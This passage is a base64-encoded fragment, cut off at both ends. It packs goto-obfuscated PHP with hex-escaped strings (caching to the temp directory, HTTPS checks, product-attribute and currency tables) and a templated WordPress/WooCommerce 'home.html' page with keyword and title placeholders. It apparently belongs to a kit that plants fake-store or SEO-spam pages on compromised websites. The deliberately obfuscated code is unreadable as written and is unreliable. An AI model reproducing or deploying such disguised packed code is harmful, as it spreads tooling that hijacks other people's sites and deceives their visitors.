M186IGdvdG8geFdMSUk7IEVUV1M2OiBqaDBvdzogZ290byBXSnYwXzsgdjY1MnE6IHdaOTFUOiBnb3RvIFRKcHNuOyBHMERXUTogWW1OaEg6IGdvdG8gWVZNejA7IFJidVNSOiAkV0V4Z2YgPSBlbXB0eShzdHJfcmVwbGFjZSgiXDQwIiwgJycsICREZF9aWSkpID8gJHdwVG5zIDogJERkX1pZOyBnb3RvIEN3Rnk0OyBlSHpUSDogJEhXanFoID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBcMTIzIl0pICYmICRfU0VSVkVSWyJcMTEwXHg1NFx4NTRceDUwXDEyMyJdID09ICJcMTU3XDE1NiIgfHwgaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBcMTM3XDEzMFwxMzdceDQ2XHg0Zlx4NTJceDU3XDEwMVx4NTJceDQ0XDEwNVx4NDRceDVmXDEyMFx4NTJceDRmXHg1NFwxMTciXSkgJiYgJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBceDVmXHg1OFwxMzdcMTA2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XHg0NVwxMDRceDVmXDEyMFx4NTJceDRmXDEyNFx4NGYiXSA9PSAiXHg2OFwxNjRceDc0XHg3MFwxNjMiID8gIlwxNTBcMTY0XDE2NFwxNjBceDczXDcyXDU3XHgyZiIgOiAiXDE1MFx4NzRceDc0XDE2MFx4M2FcNTdcNTciOyBnb3RvIFlkOWxaOyBXX3dRMTogJGpTaGFKID0gJHRoaXMtPkdoMVJBKCJcMTYzXDE1M1wxNjUiIC4gJFB3UVpnWyJcMTUxXDE2NFx4NjVceDZkXDEzN1wxNTFcMTQ0Il0pOyBnb3RvIFJ2MHJLOyBZZDlsWjogJGF6dk5mID0gW107IGdvdG8gR0o5M2w7IE9ONjZDOiAkbW00aWkgPSBhcnJheSgiXHg0M1x4NmZceDZlXHg2NFwxNTFceDc0XDE1MVwxNTdcMTU2IiA9PiAiXDE0M1x4NmZcMTU2XDE0NFx4NjlceDc0XDE1MVwxNTdcMTU2IiwgIlwxMjdceDY1XDE1MVx4NjdceDY4XDE2NCIgPT4gIlwxNjdcMTQ1XHg2OVx4NjdcMTUwXDE2NCIsICJcMTEwXHg2NVwxNTFceDY3XDE1MFx4NzQiID0+ICJceDY4XHg2NVx4NjlcMTQ3XHg2OFx4NzQiLCAiXHg1N1x4NjlceDY0XHg3NFx4NjgiID0+ICJcMTY3XDE1MVx4NjRcMTY0XDE1MCIsICJceDQzXDE1N1x4NmNcMTU3XHg3MiIgPT4gIlwxNDNceDZmXHg2Y1x4NmZcMTYyIiwgIlx4NGRceDUwXDExNiIgPT4gIlwxNTVcMTYwXDE1NiIsICJceDQ3XDEyNFx4NDlcMTE2IiA9PiAiXDE0N1wxNjRceDY5XDE1NiIsICJcMTA3XDEyNFwxMTFceDRlXDcwIiA9PiAiXDE0N1x4NzRcMTUxXHg2ZVx4MzgiLCAiXDEwN1wxMjRcMTExXHg0ZVx4MzFceDMzIiA9PiAiXHg2N1wxNjRcMTUxXDE1Nlx4MzFcNjMiLCAiXHg0N1x4NTRceDQ5XHg0ZVx4MzFcNjQiID0+ICJceDY3XHg3NFx4NjlcMTU2XHgzMVx4MzQiLCAiXDExMVwxMjNceDQyXDExNiIgPT4gIlwxNTFcMTYzXHg2Mlx4NmUiLCAiXDEwMlwxNjJcMTQxXDE1Nlx4NjQiID0+ICJcMTQyXHg3Mlx4NjFcMTU2XHg2NCIsICJceDQ0XDE0NVx4NzBceDc0XHg2OCIgPT4gIlx4NjRceDY1XHg3MFx4NzRceDY4IiwgIlx4NGRceDYxXHg3NFwxNDVcMTYyXHg2OVx4NjFceDZjIiA9PiAiXDE1NVx4NjFceDc0XHg2NVx4NzJcMTUxXHg2MVwxNTQiKTsgZ290byBlSHpUSDsgSXltMU86IH0gcHVibGljIGZ1bmN0aW9uIEN3cGtRKCkgeyByZXR1cm4gJyc7IH0gcHVibGljIGZ1bmN0aW9uIGhwUE5lKCRmamR4RSwgJGFXVU1ELCAkRTE5dWgpIHsgZ290byBlZnlBTzsgZzhObGk6IHJldHVybiAkVUlPX0c7IGdvdG8gUk1JaVQ7IHZTV2hUOiBpZiAoISgkVUlPX0cgPCAkT1loNkwpKSB7IGdvdG8gejdkU287IH0gZ290byBSTFZiZjsgQ1NFZzg6ICRGTUxCbSA9IDAuOTU7IGdvdG8gbGZ6TjI7IHl4OV9GOiBkaHF6bjogZ290byBwTHpmMDsgQTRib2w6ICRmamR4RSA9IDI7IGdvdG8gcjZXNUE7IG8yZ0htOiB6N2RTbzogZ290byBCbmh0ejsgYnliSjQ6IEZ6bzNtOiBnb3RvIEgyVnM4OyBvMW13STogJGFXVU1EID0gMjsgZ290byBUeTVyejsgbnAzWVc6ICRVSU9fRyA9IDEgLyAkS2VBQmQgKiAkeTdSdEI7IGdvdG8gbjFfMlY7IHQzeDBpOiAkRTE5dWggPSAyOyBnb3RvIFVKYjhWOyBudGdYRTogZXNCM1o6IGdvdG8gV20zMDI7IE9zc0toOiB5dFZBMDogZ290byB2U1doVDsgaU9CZ2Q6IGozYl9qOiBnb3RvIGdUNGZzOyBsZnpOMjogaWYgKCEoJGZqZHhFIDwgMikpIHsgZ290byBCdmhSMDsgfSBnb3RvIEE0Ym9sOyBlZnlBTzogJHk3UnRCID0gNS4wOyBnb3RvIGdpUnkzOyBSTFZiZjogJFVJT19HICs9ICgkeTdSdEIgLSAkT1loNkwpIC8gMjA7IGdvdG8gekljNzc7IFQ2WjY3OiBpZiAoISgkVUlPX0cgPCAkT1loNkwpKSB7IGdvdG8gRk5TclI7IH0gZ290byBPc3NLaDsgaEFXNU06IGlmICghKCRVSU9fRyA+ICRmNXJrRikpIHsgZ290byBFZXdjQjsgfSBnb3RvIGlPQmdkOyBWd1pCWTogJEtlQUJkID0gbG9nMTAoJEUxOXVoICogJGFXVU1EIC8gJGZqZHhFKSAvIGxvZzEwKCRFMTl1aCk7IGdvdG8gZUNFX2o7IGdpUnkzOiAkWU15U2IgPSAwLjg7IGdvdG8gQ1NFZzg7IEJuaHR6OiBGTlNyUjogZ290byBpSU1UcTsgbjFfMlY6IGdvdG8gZXNCM1o7IGdvdG8gYnliSjQ7IFJhbUlpOiAkVUlPX0cgLT0gKCR5N1J0QiAtICRmNXJrRikgLyAyMDsgZ290byBBVlZmSjsgaUlNVHE6ICRmNXJrRiA9ICR5N1J0QiAqICRGTUxCbTsgZ290byBoQVc1TTsgZUNFX2o6IGlmICgkS2VBQmQgPD0gMSkgeyBnb3RvIEZ6bzNtOyB9IGdvdG8gbnAzWVc7IFdIWjlYOiBpZiAoISgkYVdVTUQgPCAyKSkgeyBnb3RvIHV3cU15OyB9IGdvdG8gbzFtd0k7IEN4UGFWOiBpZiAoISgkRTE5dWggPCAyKSkgeyBnb3RvIEozVWFfOyB9IGdvdG8gdDN4MGk7IHBMemYwOiBFZXdjQjogZ290byBnOE5saTsgV20zMDI6ICRPWWg2TCA9ICR5N1J0QiAqICRZTXlTYjsgZ290byBUNlo2NzsgZ1Q0ZnM6IGlmICghKCRVSU9fRyA+ICRmNXJrRikpIHsgZ290byBkaHF6bjsgfSBnb3RvIFJhbUlpOyBUeTVyejogdXdxTXk6IGdvdG8gQ3hQYVY7IHpJYzc3OiBnb3RvIHl0VkEwOyBnb3RvIG8yZ0htOyByNlc1QTogQnZoUjA6IGdvdG8gV0haOVg7IFVKYjhWOiBKM1VhXzogZ290byBWd1pCWTsgQVZWZko6IGdvdG8gajNiX2o7IGdvdG8geXg5X0Y7IEgyVnM4OiAkVUlPX0cgPSAkS2VBQmQgKiAkeTdSdEI7IGdvdG8gbnRnWEU7IFJNSWlUOiB9IHB1YmxpYyBmdW5jdGlvbiBnZXRDYWNoZSgkd3BUbnMsICRsalpoSSA9IFtdKSB7IGdvdG8gQVUyYVg7IHU2bDRoOiBlSlNVUTogZ290byBMTzMyRjsgTE8zMkY6IHJldHVybiAkVkJoWGE7IGdvdG8geEtKRHE7IEFVMmFYOiAkRU54QWggPSBbX19ESVJfXywgc3lzX2dldF90ZW1wX2RpcigpXTsgZ290byBEMU1NQjsgRDFNTUI6ICRIUWtkRSA9IGltcGxvZGUoIlw1NCIsICRsalpoSSk7IGdvdG8gckgzNVQ7IHJIMzVUOiBmb3JlYWNoICgkRU54QWggYXMgJGdiZlN0KSB7IGdvdG8gb2VDSko7IEQ4bVBwOiBpZiAoISgkVkJoWGEgPT09IGZhbHNlKSkgeyBnb3RvIHNjT1huOyB9IGdvdG8gVmZ1Znk7IG9lQ0pKOiAkbE1MR1kgPSBtZDUoInskdGhpcy0+cVlfemR9XHg3Y3skSFFrZEV9XHg3Y3skdGhpcy0+YVZIVnZ9XHg3Y3skd3BUbnN9IikgLiAiXDU2XDE0NFwxNDFcMTY0XHg2MSI7IGdvdG8gSG80RUI7IEhvNEVCOiAkVkJoWGEgPSBmaWxlX2dldF9jb250ZW50cygkZ2JmU3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gc2VsZjo6Z2JKV2sgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGxNTEdZKTsgZ290byBEOG1QcDsgVmZ1Znk6IGdvdG8gT2JEUjg7IGdvdG8gYmo2VUU7IFBLTnV3OiBPYkRSODogZ290byB4cVZYWDsgYmo2VUU6IHNjT1huOiBnb3RvIFBLTnV3OyB4cVZYWDogfSBnb3RvIHU2bDRoOyB4S0pEcTogfSBwdWJsaWMgZnVuY3Rpb24gakZvb18oJHdwVG5zLCAkSkdiOWUsICRsalpoSSA9IFtdKSB7IGdvdG8gVlFZYWU7IGlKRTJDOiBmb3JlYWNoICgkRU54QWggYXMgJGdiZlN0KSB7IGdvdG8gZXhJd0Q7IEhrbEl5OiBpZiAoaXNfZGlyKCRHYmIwWCkpIHsgZ290byBIakhCTTsgfSBnb3RvIHQydzhLOyB0Mnc4SzogbWtkaXIoJEdiYjBYLCAwNzU1LCB0cnVlKTsgZ290byBvYkJUbDsgT3kzUU46ICRWQmhYYSA9IGZpbGVfcHV0X2NvbnRlbnRzKCRHYmIwWCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbE1MR1ksICRKR2I5ZSk7IGdvdG8gZTJpeEw7IHZQcTlWOiBnb3RvIGlIRjNuOyBnb3RvIEZfamtiOyBGX2prYjogaW9MWHE6IGdvdG8gU0ZFOWU7IFkwVUJYOiAkbE1MR1kgPSBtZDUoInskdGhpcy0+cVlfemR9XHg3Y3skSFFrZEV9XDE3NHskdGhpcy0+YVZIVnZ9XHg3Y3skd3BUbnN9IikgLiAiXHgyZVx4NjRcMTQxXHg3NFwxNDEiOyBnb3RvIE95M1FOOyBlMml4TDogaWYgKCEoJFZCaFhhID09PSBmYWxzZSkpIHsgZ290byBpb0xYcTsgfSBnb3RvIHZQcTlWOyBleEl3RDogJEdiYjBYID0gJGdiZlN0IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIHNlbGY6OmdiSldrOyBnb3RvIEhrbEl5OyBvYkJUbDogSGpIQk06IGdvdG8gWTBVQlg7IFNGRTllOiBpSEYzbjogZ290byBRMzdlRDsgUTM3ZUQ6IH0gZ290byBTV0RQXzsgVlFZYWU6ICRFTnhBaCA9IFtfX0RJUl9fLCBzeXNfZ2V0X3RlbXBfZGlyKCldOyBnb3RvIEdIVW83OyBTV0RQXzogbGpTSU46IGdvdG8gS2llbHg7IEdIVW83OiAkSFFrZEUgPSBpbXBsb2RlKCJcNTQiLCAkbGpaaEkpOyBnb3RvIGlKRTJDOyBLaWVseDogfSBwdWJsaWMgZnVuY3Rpb24gSlZKSm4oJHpkVGUyID0gJycpIHsgJHY3Sk1PID0gWyJceDU1XHg1M1x4NDQiID0+ICJcNDQiLCAiXDEwMVwxMjVcMTA0IiA9PiAiXDQ0IiwgIlx4NDJcMTIyXHg0YyIgPT4gIlx4NTJceDI0IiwgIlwxMDNceDQxXHg0NCIgPT4gIlx4MjQiLCAiXDEwM1x4NDhceDQ2IiA9PiAiXHg0M1wxMTBceDQ2IiwgIlx4NDNceDVhXHg0YiIgPT4gIlwxMTNceGM0XDIxNSIsICJcMTA0XDExM1x4NGIiID0+ICJcNTVcMTUzXHg3Mlx4MmUiLCAiXHg0NVwxMjVcMTIyIiA9PiAiXDM0Mlx4ODJceGFjIiwgIlwxMDdceDQyXHg1MCIgPT4gIlwzMDJceGEzIiwgIlwxMTBceDRiXDEwNCIgPT4gIlx4NDhceDRiXHgyNCIsICJceDQ4XHg1NVwxMDYiID0+ICJceDQ2XHg3NCIsICJceDQ5XHg0Y1wxMjMiID0+ICJcMzQyXHg4Mlx4YWEiLCAiXDExMlx4NTBceDU5IiA9PiAiXHhjMlx4YTUiLCAiXHg0ZFwxMzBceDRlIiA9PiAiXDQ0IiwgIlwxMTZcMTE3XDExMyIgPT4gIlw1NVx4NmJceDcyXHgyZSIsICJcMTE2XDEzMlwxMDQiID0+ICJcNDQiLCAiXHg1MFwxMTRcMTE2IiA9PiAiXDE3MlwzMDVceDgyIiwgIlx4NTBceDQ4XHg1MCIgPT4gIlwzNDJcMjAyXDI2MSIsICJcMTIyXDEyNVx4NDIiID0+ICJcMzQyXHg4MlwyNzUiLCAiXDEyM1x4NDVcMTEzIiA9PiAiXDU1XHg2YlwxNjJceDJlIiwgIlx4NTNceDQ3XHg0NCIgPT4gIlx4MjQiLCAiXDEyNFwxMTBceDQyIiA9PiAiXDM0MFwyNzBceGJmIiwgIlx4NTRcMTI3XHg0NCIgPT4gIlwxMTZcMTI0XHgyNCIsICJcMTAzXDExNlwxMzEiID0+ICJcMzAyXHhhNSJdOyByZXR1cm4gJHpkVGUyID8gJHY3Sk1PWyR6ZFRlMl0gOiAkdjdKTU87IH0gfSBnb3RvIFFHMmpiOyBEc2NRVzogJHBhWmdZLT5pbml0KCk7', 'home.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KICAgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0t